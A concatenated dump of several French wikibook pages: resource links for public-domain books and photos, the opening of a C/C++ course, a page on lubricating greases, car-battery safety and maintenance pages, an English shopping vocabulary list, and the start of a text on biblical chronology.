Shakespeare. La plupart sont dans le domaine public. * http://www.le-chateau.ilias.com/ * http://jydupuis.apinc.org/ (La Bibliothèque électronique du Québec) * [[w:fr:Wikipédia:Ouvrages de référence dans le domaine public|Ouvrages de référence dans le domaine public]] * Bibliothèque électronique de Lisieux : http://www.bmlisieux.com/ (attention aux conditions de redistributions sur chaque partie du site : à utiliser avec discernement !) * Une liste de livres librement '''consultables''', avec indication de ceux qui sont sous [http://fr.wikipedia.org/wiki/Copyleft ''copyleft''] ou dans le domaine public (en anglais) http://www.theassayer.org/cgi-bin/asbrowsetitle.cgi * [http://www.webmiel.fr Bilbiothèque WebMiel] organisée sous forme de ruche * [http://www.uqac.uquebec.ca/zone30/Classiques_des_sciences_sociales/ Classiques des sciences sociales] : Bibliothèque d'ouvrages de sciences sociales dans le domaine publique et numérisée au format word, rtf et pdf == Photos == ===Domaine Public=== ** [http://www.schmode.net/ schmode.net] Photos pro d'animaux. Licence compatible. (ajouter <nowiki>{{schmode}}</nowiki> à tout vos téléchargements) ** [http://pdphoto.org Public Domain Photos] : De nombreuses images du domaine public. Attention, certaines sont copyrightées, voir sur chaque page. ** [http://www.folp.free.fr/ Free On Line Photos] : Plus de 2500 photos libres de droits, en français. Mentionner le site ** [http://gimp-savvy.com/PHOTO-ARCHIVE/ Gimp photo archive]: Des milliers (27000) de photos dans le domaine public. Recherche possible par mot clé. ** Canada ***[http://www.nlc-bnc.ca/imagesanciennes/index-f.html Images anciennes du Canada : Illustrations tirées des livres rares] : Entièrement dans le domaine public ***[http://www.nlc-bnc.ca/cin/h1-250-f.html Les nouvelles en images : Canadian Illustrated News] : Entièrement dans le domaine public ***[http://www.nlc-bnc.ca/2/18/h18-2900-f.html La Confédération canadienne - Images] : Partiellement dans le domaine public, regarder le copyright de chaque photos. **http://teachpol.tcnj.edu/amer_pol_hist/_browse.htm Images de l'histoire politique des [[w:fr:États-Unis d'Amérique|États-Unis]] (Images of American Political History): domaine public, en format JPEG. ** http://images.fws.gov/ : Images de l'U.S. Fish and Wildlife Service, majoritairement des photos d'animaux, mais aussi des images diverses en rapport avec la nature. Attention : certaines ne sont pas réutilisables (voir au cas par cas) ** http://www.lib.utexas.edu/photodraw/portraits Liste de portraits dans le domaine public ** [http://www.sxc.hu] une mine de photos dans tous les domaines. Beaucoup sont complètement libres mais certaines sont limitées à un usage non commercial. Voir au cas par cas. ** [http://phil.cdc.gov phil.cdc.gov] images médicales (au sens large). attention, quelques ne sont pas dans le domaine public, le statut de chaque image est indiqué. (en anglais) ** [http://collections.ic.gc.ca/portraits/] pas mal de photos de canadiens célèbres. Beaucoup dans le domaine public (à vérifier en cherchant les dates des photographes dont les noms sont indiqués) ** [http://www.lavaurs.com/ Site sur la marche en Europe] : Site d'un marcheur avec des paysages d'Europe. Les photos sont réutilisables librement ([http://www.lavaurs.com/fr/whoAmI Copyright]) ** [http://fleche.org/lutece/pict/pictacc.html Monuments antiques par Hubert Steiner] (toujours indiquer son auteur) ** [http://www.archives.premier-ministre.gouv.fr/jospin_version3/fr/ie4/contenu/382.htm Archives du premier ministre (fr)] Attention : toutes ne sont pas reproductibles sur wikipedia (voir [http://www.archives.premier-ministre.gouv.fr/jospin_version3/fr/ie4/contenu/18654.htm]) ** [http://www.france.diplomatie.gouv.fr www.france.diplomatie.gouv.fr] Les photos sont libres de droit pour un usage non commercial à l'étranger, la seule obligation étant de les accompagner de la mention d'origine (nom du photographe et mention " Ministère des Affaires étrangères ") [http://www.france.diplomatie.gouv.fr/courrier/default.asp?code=webmestre] Modèle:Programmation C C plus plus 2214 13831 2005-01-27T10:51:11Z Guillaumito 46 {{En cours de copie|site=http://casteyde.christian.free.fr/online/cours_cpp/|licence=[[GFDL]]}} {| style="float:right;border:thin black solid;width:200px;" | colspan="2" style="text-align:center;font-weight:bold;" | Cours de C/C++ |- | colspan="2" | [[Programmation C C plus plus Avant-propos|Avant-propos]] |- | colspan="2" | [[Programmation C C plus plus Le langage|Le langage]] |- | style="width:20px;" | || [[Programmation C C plus plus Première approche|Première approche]] |- | || [[Programmation C C plus plus Les structures de contrôle|Les structures de contrôle]] |- | || [[Programmation C C plus plus Types avancés|Types avancés]] |- | || [[Programmation C C plus plus Pointeurs et références|Pointeurs et références]] |- | || [[Programmation C C plus plus Le préprocesseur|Le préprocesseur]] |- | || [[Programmation C C plus plus Modularité et compilation|Modularité et compilation]] |- | || [[Programmation C C plus plus Écrire du code illisible|Écrire du code illisible]] |- | || [[Programmation C C plus plus La couche objet|La couche objet]] |- | || [[Programmation C C plus plus Les exceptions|Les exceptions]] |- | || [[Programmation C C plus plus Identification des types|Identification des types]] |- | || [[Programmation C C plus plus Les espaces de nommage|Les espaces de nommage]] |- | || [[Programmation C C plus plus Les template|Les template]] |- | colspan="2" | [[Programmation C C plus plus La bibliothèque standard|La bibliothèque standard]] |- | || [[Programmation C C plus plus Notions de base|Notions de base]] |- | || [[Programmation C C plus plus Les types complémentaires|Les types complémentaires]] |- | || [[Programmation C C plus plus Les flux d'entrée / sortie|Les flux d'entrée / sortie]] |- | || [[Programmation C C plus plus Les locales|Les locales]] |- | || [[Programmation C C plus plus Les conteneurs|Les conteneurs]] |- | || [[Programmation C C plus plus Les algorithmes|Les algorithmes]] |- | colspan="2" | [[Programmation C C plus plus Conclusion|Conclusion]] |- | colspan="2" | [[Programmation C C plus plus Priorités des opérateurs|Priorités des opérateurs]] |- | colspan="2" | [[Programmation C C plus plus Draft Papers|Draft Papers]] |- | colspan="2" | [[Programmation C C plus plus Bibliographie|Bibliographie]] |- | colspan="2" style="text-align:right;" | [http://casteyde.christian.free.fr/online/cours_cpp/book1.html Livre original de C. Casteyde]<br/> [{{SERVER}}{{localurl:{{PAGENAME}}|action=edit}} Modifier le modèle] |} Programmation C C plus plus Avant-propos 2215 13832 2005-05-11T15:44:26Z 82.255.99.80 {{Programmation C C plus plus}} Ce livre est un cours de C et de C++. Il s'adresse aux personnes qui ont déjà quelques notions de programmation dans un langage quelconque. Les connaissances requises ne sont pas très élevées cependant : il n'est pas nécessaire d'avoir fait de grands programmes pour lire ce document. Il suffit d'avoir vu ce qu'est un programme et compris les grands principes de la programmation. Ce livre est structuré en deux grandes parties, traitant chacune un des aspects du C++. La première partie, contenant les chapitres 1 à 12, traite du langage C++ lui-même, de sa syntaxe et de ses principales fonctionnalités. La deuxième partie quant à elle se concentre sur la bibliothèque standard C++, qui fournit un ensemble de fonctionnalités cohérentes et réutilisables par tous les programmeurs. La bibliothèque standard C++ a également l'avantage d'utiliser les constructions les plus avancées du langage, et illustre donc parfaitement les notions qui auront été abordées dans la première partie. La description de la bibliothèque standard s'étend du chapitre 13 au chapitre 18. Si la bibliothèque standard C++ est décrite en détail, il n'en va pas de même pour les fonctions de la bibliothèque C. Vous ne trouverez donc pas dans ce livre la description des fonctions classiques du C, ni celle des fonctions les plus courantes de la norme POSIX. En effet, bien que présentes sur quasiment tous les systèmes d'exploitation, ces fonctions sont spécifiques à la norme POSIX et n'appartiennent pas au langage en soi. Seules les fonctions incontournables de la bibliothèque C seront donc présentées ici. Si vous désirez plus de renseignements, reportez-vous aux spécifications des appels systèmes POSIX de l'OpenGroup, ou à la documentation des environnements de développement et à l'aide des kits de développement des systèmes d'exploitation (SDK). Ce livre a pour but de présenter le langage C++ tel qu'il est décrit par la norme ISO 14882 du langage C++. Cependant, bien que cette norme ait été publiée en 1999, le texte officiel n'est pas librement disponible. Comme je ne veux pas cautionner le fait qu'un texte de norme international ne soit pas accessible à tous, je me suis rabattu sur le document du projet de normalisation du langage, datant du 2 décembre 1996 et intitulé « Working Paper for Draft Proposed International Standard for Information Systems -- Programming Language C++ ». Notez que les compilateurs qui respectent cette norme se comptent encore sur les doigts d'une main, et que les informations et exemples donnés ici peuvent ne pas s'avérer exacts avec certains produits. En particulier, certains exemples ne compileront pas avec les compilateurs les plus mauvais. Notez également que certaines constructions du langage n'ont pas la même signification avec tous les compilateurs, parce qu'elles ont été implémentées avant que la norme ne les spécifie complètement. Ces différences peuvent conduire à du code non portable, et ont été signalées à chaque fois dans une note. Le fait que les exemples de ce livre ne fonctionnent pas avec de tels compilateurs ne peut donc pas être considéré comme une erreur, mais plutôt comme une non-conformité des outils utilisés, qui sera sans doute levée dans les versions ultérieures de ces produits. Après avoir tenté de faire une présentation rigoureuse du sujet, j'ai décidé d'arranger le plan de ce livre dans un ordre plus pédagogique. Il est à mon avis impossible de parler d'un sujet un tant soit peu vaste dans un ordre purement mathématique, c'est-à-dire un ordre où les notions sont introduites une à une, à partir des notions déjà connues (chaque fonction, opérateur, etc. n'apparaît pas avant sa définition). Un tel plan nécessiterait de couper le texte en morceaux qui ne sont plus thématiques. J'ai donc pris la décision de présenter les choses par ordre logique, et non par ordre de nécessité syntaxique. Les conséquences de ce choix sont les suivantes : * il faut admettre certaines choses, quitte à les comprendre plus tard ; * il faut lire deux fois ce livre. Lors de la première lecture, on voit l'essentiel, et lors de la deuxième lecture, on comprend les détails (de toutes manières, je félicite celui qui comprend toutes les subtilités du C++ du premier coup). Programmation C C plus plus Le langage 2216 13833 2005-01-05T23:14:33Z Guillaumito 46 copié/collé du site de CC + un tout petit peu de mise en forme, mais pas grand chose {{Programmation C C plus plus}} Le C++ est l'un des langages de programmation les plus utilisés actuellement. Il est à la fois facile à utiliser et très efficace. Il souffre cependant de la réputation d'être compliqué et illisible. Cette réputation est en partie justifiée. La complexité du langage est inévitable lorsqu'on cherche à avoir beaucoup de fonctionnalités. En revanche, en ce qui concerne la lisibilité des programmes, tout dépend de la bonne volonté du programmeur. Les caractéristiques du C++ en font un langage idéal pour certains types de projets. Il est incontournable dans la réalisation des grands programmes. Les optimisations des compilateurs actuels en font également un langage de prédilection pour ceux qui recherchent les performances. Enfin, ce langage est, avec le C, idéal pour ceux qui doivent assurer la portabilité de leurs programmes au niveau des fichiers sources (pas des exécutables). Les principaux avantages du C++ sont les suivants : * grand nombre de fonctionnalités ; * performances du C ; * facilité d'utilisation des langages objets ; * portabilité des fichiers sources ; * facilité de conversion des programmes C en C++, et, en particulier, possibilité d'utiliser toutes les fonctionnalités du langage C ; * contrôle d'erreurs accru. On dispose donc de quasiment tout : puissance, fonctionnalité, portabilité et sûreté. La richesse du contrôle d'erreurs du langage, basé sur un typage très fort, permet de signaler un grand nombre d'erreurs à la compilation. Toutes ces erreurs sont autant d'erreurs que le programme ne fait pas à l'exécution. Le C++ peut donc être considéré comme un « super C ». Le revers de la médaille est que les programmes C ne se compilent pas directement en C++ : il est courant que de simples avertissements en C soient des erreurs blocantes en C++. Quelques adaptations sont donc souvent nécessaires, cependant, celles-ci sont minimes, puisque la syntaxe du C++ est basée sur celle du C. On remarquera que tous les programmes C peuvent être corrigés pour compiler à la fois en C et en C++. Tout le début de cette partie (chapitres 1 à 8) traite des fonctionnalités communes au C et au C++, en insistant bien sur les différences entre ces deux langages. Ces chapitres présentent essentiellement la syntaxe des constructions de base du C et du C++. Le début de cette partie peut donc également être considéré comme un cours allégé sur le langage C. Cependant, les constructions syntaxiques utilisées sont écrites de telle sorte qu'elles sont compilables en C++. Cela signifie qu'elles n'utilisent pas certaines fonctionnalités douteuses du C. Ceux qui désirent utiliser la première partie comme un cours de C doivent donc savoir qu'il s'agit d'une version épurée de ce langage. En particulier, les appels de fonctions non déclarées ou les appels de fonctions avec trop de paramètres ne sont pas considérés comme des pratiques de programmation valables. Les chapitres suivants (chapitres 8 à 12) ne traitent que du C++. Le Chapitre 8 traite de la programmation orientée objet et de toutes les extensions qui ont été apportées au langage C pour gérer les objets. Le Chapitre 9 présente le mécanisme des exceptions du langage, qui permet de gérer les erreurs plus facilement. L'identification dynamique des types sera décrite dans le Chapitre 10. Le Chapitre 11 présente la notion d'espace de nommage, que l'on utilise afin d'éviter les conflits de noms entre les différentes parties d'un grand projet. Enfin, le Chapitre 12 décrit le mécanisme des template, qui permet d'écrire des portions de code paramétrées par des types de données ou par des valeurs constantes. Ces dernières notions sont utilisées intensivement dans la bibliothèque standard C++, aussi la lecture complète de la première partie est-elle indispensable avant de s'attaquer à la deuxième. Dans toute cette première partie, la syntaxe sera donnée, sauf exception, avec la convention suivante : ce qui est entre crochets ('[' et ']') est facultatif. De plus, quand plusieurs éléments de syntaxe sont séparés par une barre verticale ('|'), l'un de ces éléments, et un seulement, doit être présent (c'est un « ou » exclusif). Enfin, les points de suspension désigneront une itération éventuelle du motif précédent. Par exemple, si la syntaxe d'une commande est la suivante : <pre> [fac|rty|sss] zer[(kfl[,kfl[...]])]; </pre> les combinaisons suivantes seront syntaxiquement correctes : <pre> zer; fac zer; rty zer; zer(kfl); sss zer(kfl,kfl,kfl,kfl); </pre> mais la combinaison suivante sera incorrecte : <pre> fac sss zer() </pre> pour les raisons suivantes : * <code>fac</code> et <code>sss</code> sont mutuellement exclusifs, bien que facultatifs tous les deux ; * au moins un <code>kfl</code> est nécessaire si les parenthèses sont mises ; * il manque le point virgule final. Rassurez-vous, il n'y aura pratiquement jamais de syntaxe aussi compliquée. Je suis sincèrement désolé de la complexité de cet exemple. Tribologie - Lubrifiants pâteux 2219 39947 2006-04-10T12:22:35Z Jean-Jacques MILAN 114 restitution de la dernière modification de Jean-Jacques MILAN [[Catégorie:Lubrifiant]] {{Tribologie}} == Les graisses lubrifiantes == Ce sont des produits viscoplastiques à deux phases qui comportent : * une phase liquide, huile minérale ou fluide synthétique formant un support dispersant et représentant parfois plus de 90 % du poids de la graisse, * une phase solide dispersée se comportant en agent épaississant, généralement un savon métallique, résultat de la réaction d'un acide gras (stéarique, oléique) avec un hydroxyde métallique (calcium, lithium, sodium, aluminium, magnésium). Cette phase représente de 8 à 40 % du poids. Dans certaines graisses, l'épaississant est un composé inorganique comme la bentonite, sorte d'argile possédant de remarquables propriétés d'adsorption. * des additifs solubles améliorant les performances : antioxydant, antiusure, antirouille, extrême pression, etc., * des additifs solides : graphite, bisulfure de molybdène, * éventuellement, de l'eau ou de la glycérine facilitant la dispersion des autres produits. Les graisses ont une texture qui varie avec le savon utilisé et le processus de fabrication. L'examen au microscope fait généralement apparaître des fibres entremêlées plus ou moins longues, dont l'aspect est appelé butyreux (comme du beurre), spongieux, filant, etc. La longueur des fibres varie de quelques micromètres à plus de 100 micromètres. On peut comparer une graisse à une sorte d'éponge imbibée de liquide. L'huile qui entre dans la composition d'une graisse a un rôle primordial. C'est elle qui assure la lubrification des organes en présence par interposition d'un film protecteur qui empêche leur contact. L'épaisseur de ce film est une fonction directe de la viscosité, laquelle, comme on le sait, varie beaucoup avec la température. Le comportement thermique de l'huile de base est donc un critère essentiel pour le choix d'une graisse, mais il existe bien d'autres facteurs à prendre en compte : par exemple, la volatilité, la résistance à l'oxydation, le comportement en présence d'eau, etc. Les huiles minérales sont bien adaptées à la plupart des applications courantes, dans une gamme de températures allant de 30 à + 150 °C. L'utilisation d'huiles de synthèse s'impose dans le cas d'applications sévères : fortes amplitudes thermiques, environnement chimique agressif, etc.. En outre, leur bonne résistance à l'oxydation leur confère souvent une longévité accrue par rapport aux huiles minérales. Les graisses sont d'autant plus « fermes » qu'elles contiennent plus d'épaississant et que leur température est plus basse. La structure chimique des épaississants influe directement sur les propriétés physiques : dimension, forme et densité des particules constituantes et surtout forces interparticules qui permettent de maintenir le mélange en équilibre. En tenant compte uniquement de la nature chimique de l'épaississant, on distingue trois grandes familles de graisses. * les graisses conventionnelles à base de savons métalliques (calcium, sodium, aluminium, lithium), qui représentent plus de 50 % du marché. Malgré leur prix, on utilise beaucoup les graisses à base de savons de lithium qui correspondent à un bon compromis entre toutes les propriétés recherchées (graisses à usages multiples, utilisables jusqu'à 180-200 °C). * les graisses à base de savons complexes, dont l'avantage est la résistance aux températures élevées, jusqu'à 250 °C. * les graisses sans savon sont épaissies par des composés inorganiques tels que l'argile. Ces graisses sont pratiquement infusibles et leur résistance à l'oxydation est excellente. La fabrication des graisses se fait généralement dans des cuiseurs chauffés à la vapeur et munis d'agitateurs pour assurer le mélange. Dans certains cas on opère dans un autoclave ou sous atmosphère inerte d'azote. == Propriétés rhéologiques des graisses == * '''plasticité''' : contrairement aux huiles, les graisses ont généralement un comportement non newtonien : il n'existe pas de proportionnalité entre la contrainte de cisaillement et le gradient de vitesse. Un produit plastique se comporte en effet comme un solide jusqu'à une certaine limite d'écoulement, puis comme un liquide obéissant ou non à la loi de proportionnalité. La plupart des graisses se ramollissent par malaxage, on dit alors qu'elle sont '''thixotropiques''', et retrouvent leur structure originelle après un certain temps de repos. Inversement, les graisses '''rhéopexiques''' durcissent par cisaillement. * '''viscosité apparente''' : elle caractérise le comportement de la graisse circulant dans des canalisations. Cette grandeur dépend du gradient de vitesse, de la température, et beaucoup de la viscosité de l'huile de base. * '''pénétrabilité et consistance''' : la consistance représente la déformation viscoélastique sous une contrainte donnée, la graisse étant prise au repos et à l'état solide. On la chiffre arbitrairement par un essai normalisé de pénétrabilité au cône, effectué avec un équipement standard et après malaxage. La pénétrabilité n'est pas liée directement à la viscosité, certaines graisses dures s'écoulent facilement et au contraire, des graisses molles peuvent se révéler très visqueuses. * '''point de goutte''' : cette caractéristique empirique est sans vrai rapport avec les performances des produits en service. La graisse placée dans un appareil normalisé est chauffée progressivement jusqu'à ce qu'une première goutte se détache. La température correspondante est appelée point de goutte, elle dépend dans une large mesure de l'épaississant. Selon les compositions, notamment la nature des savons utilisés, on peut trouver des valeurs allant de 85 à plus de 250 °C, parfois même la détermination est impossible. Deux graisses fabriquées avec les mêmes constituants, en proportion variable, auront à peu près le même point de goutte, mais la plus riche en savon sera bien plus dure que l'autre. * '''pompabilité et pertes de charges''' : dans les réseaux de graissage, on apprécie les graisses qui s'écoulent facilement, répondent bien à la décompression dans les tiroirs des distributeurs et résistent à la cavitation. == Autres propriétés physicochimiques == * '''teneur en cendres''' : une graisse ne doit pas en principe contenir de charges inertes, talc, baryte ... sauf pour des usages bien particuliers. La calcination permet de détecter leur présence ainsi que d'autres anomalies ou pollutions. * '''neutralité chimique''' : les graisses minérales sont en général neutres et sans action sur les métaux, mais elles peuvent réagir avec certains gaz ou fluides venant à leur contact et qui peuvent les décomposer ou les diluer. Le cas le plus fréquent est celui de l'eau, même à l'état de simple humidité. Les graisses à base de savons de sodium y sont très sensibles, mais pas celles à base de calcium ou de lithium. * '''stabilité au cisaillement mécanique''' : les taux de cisaillement peuvent atteindre des valeurs considérables dans les roulements à rouleaux, les engrenages ... ce qui, par destruction réversible ou non de la structure des fibres, peut changer plus ou moins complètement les propriétés lubrifiantes. Cette stabilité est vérifiée à l'aide de divers appareils standardisés. * '''températures limite d'utilisation''' : elles concernent aussi bien les applications à chaud ou à froid. Le point de goutte statique n'a guère d'intérêt. On a construit des machines qui mesurent un point de goutte dynamique, entre autres à l'aide de roulements. D'autres appareils permettent d'apprécier les variations de comportement à froid. Notons que les graisses à base de sodium, calcium ou lithium, sont résistantes à la chaleur et appréciées pour les roulements. * '''résistance à l'eau''' : on l'apprécie par un essai de délavage. Les graisses à base de savons d'aluminium ou de lithium résistent bien, d'où leur application pour les articulations de matériels de chantiers ou autres. * '''pouvoir antirouille''' : c'est une propriété intéressante pour les roulements qui, comme ceux des boîtes d'essieux, peuvent être soumis à des entrées d'eau ou à des phénomènes de condensation. * '''propriétés antiusure et extrême pression''' : elles sont évaluées à l'aide de machines d'essais de frottement ou d'appareils de simulation. * '''durée de vie, résistance à l'oxydation, résistance à l'évaporation''' : là encore il existe de très nombreuses méthodes d'essais. == Conclusions et données pratiques == Pour les graisses plus encore que pour les huiles, les caractéristiques mesurées sont souvent imprécises et ne fournissent que des indications fragmentaires et insuffisantes pour définir directement les applications aux mécanismes. C'est pourquoi on a fabriqué d'innombrables machines à essayer les graisses, mais seuls des essais en vraie grandeur peuvent fournir aux fabricants et aux utilisateurs la vraie valeur d'usage d'une graisse. On peut cependant donner quelques indications pratiques pour orienter les choix : * les graisses à base de savon de calcium ont une bonne stabilité mécanique et sont utilisables jusqu'à 120 °C. * les graisses à base de sodium-calcium ont une bonne résistance au lavage et au ressuage par l'eau, leur utilisation est possible jusqu'à 120 °C et à des vitesses de rotation élevées. * les graisses à base de lithium représentent environ 70 % des graisses pétrolières commercialisées. Le point de goutte est voisin de 175 °C et il peut atteindre 195 °C avec le savon de lithium de l'acide 12hydroxystéarique. * les graisses à base de savons complexes de calcium, aluminium, lithium, avec des bentonites modifiées ou des structures cellulosiques, des épaississants de type polyurée, supportent de hautes températures sans fondre (165 à 230 °C). * diverses graisses synthétiques, principalement à base de silicones, ont été mises au point pour des utilisations aérospatiales et militaires et sont utilisables dans une large gamme de températures. Modèle:' 2220 13836 2005-01-07T15:06:41Z Esope 99 création <nowiki>'</nowiki> ÇA et SA 2221 23991 2005-10-23T10:04:42Z 83.113.155.136 '''ÇA et SA''' <ol> <li>'''Ça''' peut être remplacé par '''ce''', '''ceci''' ou '''cela'''.</li> * Enlève moi '''ça''' du passage! <li>'''Sa''' peut être remplacé par '''ses''' au pluriel ou '''son''' au masculin.</li> * Elle souleva '''sa''' robe pour enjamber la portière. // elle souleva '''ses''' robes pour enjamber la portière. </ol> Catégorie:Livret technique 2222 13838 2005-01-10T13:26:50Z Pulsar1 149 {{Livret techniques}} [[Livret techniques]] Batterie d'accumulateurs 2223 13839 2005-04-25T13:11:04Z Pulsar1 149 Ce livret traite du fonctionnement ainsi que de l'entretien des batteries d'accumulateurs, (au plomb, montées sur les véhicules automobiles) et tous les autres type, Il décrit les mesures de sécurité à adopter lors de leur utilisation et de leur entretien. #''[[Batterie-plomb|Composition et fonctionnement des batteries au plomb (automobile)]]''. #''[[Batterie-autre|Autres types de batteries d'accumulateurs]]''. #''[[Batterie-Sécurité|Les règles de sécurité pour l'entretien des batteries]]''. #''[[Batterie-Entretien|Les techniques et actions d'entretien des batteries]]''. #''[[Batterie-Stockage|Les techniques de charge et de stockage des batteries]]''. [[Catégorie:Livret technique]] Modèle:Batterie d'accumulateurs 2224 13840 2005-04-25T13:34:22Z Pulsar1 149 {| align="center" style="width:80%; background-color:#f7f8ff; border:4px solid #8888aa; text-align:left; padding:10px;" | '''INDEX''' - [[Batterie-plomb]] '' Composition et fonctionnement des batteries au plomb.''<br /> - [[Batterie-autre]] '' Les autres types de batteries d'accumulateurs''.<br /> - [[Batterie-Sécurité]] '' Les règles de sécurité pour l'entretien des batteries''.<br /> - [[Batterie-Entretien]] '' Les techniques et actions d'entretien des batteries''.<br /> - [[Batterie-Stockage]] '' Les techniques de charge et de stockage des batteries''. Composition d'une batterie automobile 2225 13841 2005-01-09T22:32:03Z Pulsar1 149 Composition d'une batterie automobile déplacé vers Batterie-plomb #REDIRECT [[Batterie-plomb]] Livret techniques 2227 13843 2005-01-17T09:24:03Z Pulsar1 149 [[Catégorie:Livret technique]] {{Livret techniques}} *[[Batterie d'accumulateurs| Les Batteries d'accumulateurs, entretien et précautions d'emploi]] [[Image:25%.png]] Modèle:Livret techniques 2228 13844 2005-01-10T13:28:39Z Pulsar1 149 ''Cette catégorie regroupe des livrets techniques ou des notices<br />d'utilisation et d'entretien d'appareils et de machines. Batterie-Sécurité 2229 43699 2006-06-01T13:29:12Z 213.188.248.14 /* L'hydrogène */ <h2>La manipulation des batteries à électrolyte liquide (type automobiles) comporte des dangers, certaines précautions sont donc à prendre:</h2> =Les Dangers= ==L'électrolyte liquide== L'acide sulfurique même à 25% cause des brûlures sévères à toute matière organique, végétale ou minérale qui entre en contact avec lui. Il pénètre dans tout les corps poreux (peau, vètement, éponge).<br /> * Procéder avec prudence, afin de prévenir un déversement ou une projection d'électrolyte.<br /> * Pour toute manipulation portez des protections individuelles adaptées : gants, lunettes, vètements de travail, tablier.<br /> * Seul les spécialistes connaissent les techniques, possèdent les outils nécessaires pour réaliser le mélange électrolytique et, donc assurer le remplissage des batteries. * '''Ne jamais verser de l'eau dans de l'acide concentré,''' il se produit instantanément une réaction violente entrainant des projections d'acide concentré avec de la vapeur d'eau.<br /> ==Le poids== Les batteries au plomb sont particulièrement lourdes: le plomb, leur constituant principal est un des métaux les plus lourds, il a une masse volumique de 11,35kg par dm<sup>3</sup> soit une densité de 11,35.<br /> Une batterie de véhicule automobile pèse entre '''15kg et 50kg'''.<br />Il est donc important de respecter quelques règles : * Utilisez de préférence un porte batterie, * à défaut prennez une bonne prise de chaque coté de la batterie avant de chercher à la soulever. * Avant de commencer sa dépose, prévoyez un espace plat et solide pour poser la batterie. ==L'hydrogène== Pendant la charge d'une batterie un dégagement d'hydrogène se produit, ce gaz est très inflammable. Même les batteries sans entretien, scellées, doivent être entourées de précautions. En effet, lors d'une charge prolongée, elles évacuent leur trop plein d'hydrogène par une soupape. * Il est donc nécessaire de '''bien ventiller le local''' ou s'effectue cette charge. * Il est fortement déconseillé de '''fumer ou d'approcher une flamme d'une batterie en cours de charge'''. * Il ne faut jamais débrancher les cables du chargeur au niveau de la batterie avant d'avoir éteint le chargeur : A la coupure du circuit chargeur allumé une étincelle se produit, étincelle capable de déclencher une explosion de l'hydrogène. {{Batterie d'accumulateurs}} Shopping : Les Achats 2231 43020 2006-05-23T06:54:05Z Mly 1518 /* Money : ''Les moyens de paiement'' */ {{Enseignement anglais}} Voici une liste de vocabulaire sur le thème des courses. == Shops : ''Magasins et boutiques'' == {| border="0" |----- | baker's | ''boulangerie'' |----- | bakery | ''boulangerie'' |----- | bookshop | ''libraire'' |----- | butcher's | ''boucherie'' |----- | chain store | ''grand magasin'' |----- | chemist's | ''pharmacie'' |----- | childrenswear | ''vêtement pour enfant'' |----- | clothes shop | ''magasin de vêtements'' |----- | confectioner's | ''confiserie'' |----- | dairy | ''laiterie'' |----- | delicatessen | ''~ épicerie fine'' |----- | departement | ''rayon'' |----- | department store | ''grand magasin'' |----- | domestic appliances | ''appareils ménagers'' |----- | draper's | ''magasin de tissus'' |----- | dry cleaner's | ''teinturerie/pressing'' |----- | fishmonger's | ''poissonerie'' |----- | flea market | ''marché au puce'' |----- | florist's | ''magasin de fleur'' |----- | greengrocer's | ''magasin de fruits et légumes'' |----- | groceries | ''provisions'' |----- | grocer's | ''épicerie'' |----- | hairdresser's | ''salon de coiffure'' |----- | hardware | ''quincaillerie'' |----- | ironmonger's | ''quincaillerie'' |----- | jeweller's | ''bijouterie'' |----- | kiosk | ''kiosque'' |----- | ladieswear | ''vêtements pour femmes'' |----- | launderette | ''laverie automatique'' |----- | market | ''marché'' |----- | menswear | ''vêtements pour hommes'' |----- | newsagent's | ''marchand de journaux'' |----- | newsdealer | ''marchand de journaux'' |----- | off-licence | ''magasin de vin et spiritueux'' |----- | optician's | ''opticien (magasin)'' |----- | pastry shop | ''pâtisserie'' |----- | record shop | ''magasin de disques'' |----- | record store | ''magasin de disques'' |----- | retail | ''vente au detail'' |----- | self-service | ''libre-service'' |----- | shoeshop | ''magasin de chaussures'' |----- | shoe store | ''magasin de chaussures'' |----- | shop | ''magasin ; boutique'' |----- | store | ''magasin ; boutique'' |----- | shopping centre / mall | ''centre commercial'' |----- | showroom | ''salle d'exposition'' |----- | stall | ''éventaire'' |----- | stand | ''éventaire'' |----- | stationner's | ''papeterie'' |----- | store | ''magasin'' |----- | supermarket | ''supermarché'' |----- | sweetshop | ''~ confiserie'' |----- | candy store | ''~ confiserie'' |----- | tobacconist's | ''(bureau de) tabac'' |----- | toyshop | ''magasin de jouets'' |----- | toy store | ''magasin de jouets'' |----- | wholesale | ''vente en gros'' |} == Going shopping : ''Faire des courses'' == {| border="0" |----- | bargain | ''occasion ; affaire'' |----- | basket | ''panier'' |----- | to buy | ''acheter'' |----- | cash desk | ''caisse'' |----- | cheap | ''bon marché'' |----- | checkout | ''caisse'' |----- | to close | ''fermer'' |----- | closed | ''fermé'' |----- | cost | ''coût'' |----- | to cost | ''coûter'' |----- | counter | ''comptoir'' |----- | customer | ''client'' |----- | cut-price | ''à prix réduit'' |----- | dear | ''cher'' |----- | discount | ''rabais'' |----- | expensive | ''cher'' |----- | free | ''gratuit'' |----- | goods | ''articles ; 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Le décompte du temps est très présent tout au long du texte biblique et notamment dans le récit de la création, Dieu avait prévu que l’homme mesurerait le temps. Très tôt la Bible dit que ‘ les luminaires dans l’étendue des cieux ’ allaient servir à “ faire une séparation entre le jour et la nuit ” et servir “ de signes et pour les époques et pour les jours et pour les années”. (Genèse 1:14, 15 ; Psaumes 104:19.) On remarque d’ailleurs de très nombreuses chronologies dans le Pentateuque. Certains passages du livre de la Genèse donnent des renseignements temporels très précis comme les noms des parents et des enfants les uns après les autres sur de longue période. On ne trouve pas seulement les dates de décès et de naissance de chacun, mais aussi l’âge des parents au moment de la naissance de leurs enfants. Ces précieux renseignements permettent d’établir une chronologie biblique. Cependant, pour comprendre la chronologie biblique, il faut la comparer au système de datation actuel et fixer un point de repère commun à partir duquel on peut compter soit en avant, soit en arrière, et ce en unités de temps (comme les heures, les jours, les mois et les années). Ce point de repère peut être tout simplement le lever du soleil (pour mesurer les heures du jour), une nouvelle lune (pour compter les jours du mois) ou le début du printemps (pour mesurer une année). Pour compter des périodes plus longues, les hommes établirent des “ ères ” auxquelles ils donnaient comme point de départ un événement marquant à partir duquel ils mesuraient des périodes comportant de nombreuses années. Par exemple, dans les nations de la chrétienté, si quelqu’un dit que nous sommes “ le 10 octobre 2007 de n. è. (de notre ère) ”, il entend que nous sommes “ le dixième jour du dixième mois de la deux mille septième année comptée à partir de la date présumée de la naissance de Jésus ”. Cette utilisation d’une ère dans l’histoire profane est relativement récente. L’ère grecque, qui serait l’exemple profane le plus ancien de numération chronologique, n’est apparemment entrée en usage que vers le IVe siècle av. n. è. (avant notre ère.) Les Grecs comptaient le temps au moyen de périodes de quatre ans appelées olympiades, le point de départ étant la première olympiade, dont on a calculé qu’elle commença en 776 av. n. è. En outre, ils identifiaient souvent telle ou telle année en se référant à la 